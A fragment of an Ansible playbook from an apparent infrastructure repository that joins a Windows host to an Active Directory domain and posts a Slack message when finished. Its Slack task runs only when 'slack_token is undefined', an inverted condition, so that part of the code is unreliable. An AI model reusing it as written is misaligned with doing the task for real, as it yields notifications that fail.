when: slack_token is undefined 31 | -------------------------------------------------------------------------------- /roles/windows/join_windows_to_domian.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Join Windows client to domain 3 | #################################################################### 4 | - name: Join windows host to {{ ad_domain_name }} domain 5 | win_domain_membership: 6 | dns_domain_name: '{{ ad_domain_name }}' 7 | hostname: '{{ ansible_hostname }}' 8 | domain_admin_user: 'administrator@{{ ad_domain_name }}' 9 | domain_admin_password: '{{ ad_safe_mode_password }}' 10 | state: domain 11 | register: domain_state 12 | 13 | - win_reboot: 14 | when: domain_state.reboot_required 15 | 16 | #################################################################### 17 | # Slack notification 18 | #################################################################### 19 | - name: Send slack notification when done 20 | slack: 21 | token: "{{ slack_token }}" 22 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Joined {{ ad_domain_name }} domain - {{ ansible_nodename }}' 23 | channel: "{{ slack_channel }}" 24 | when: slack_token is undefined 25 | --------------------------------------------------------------------------------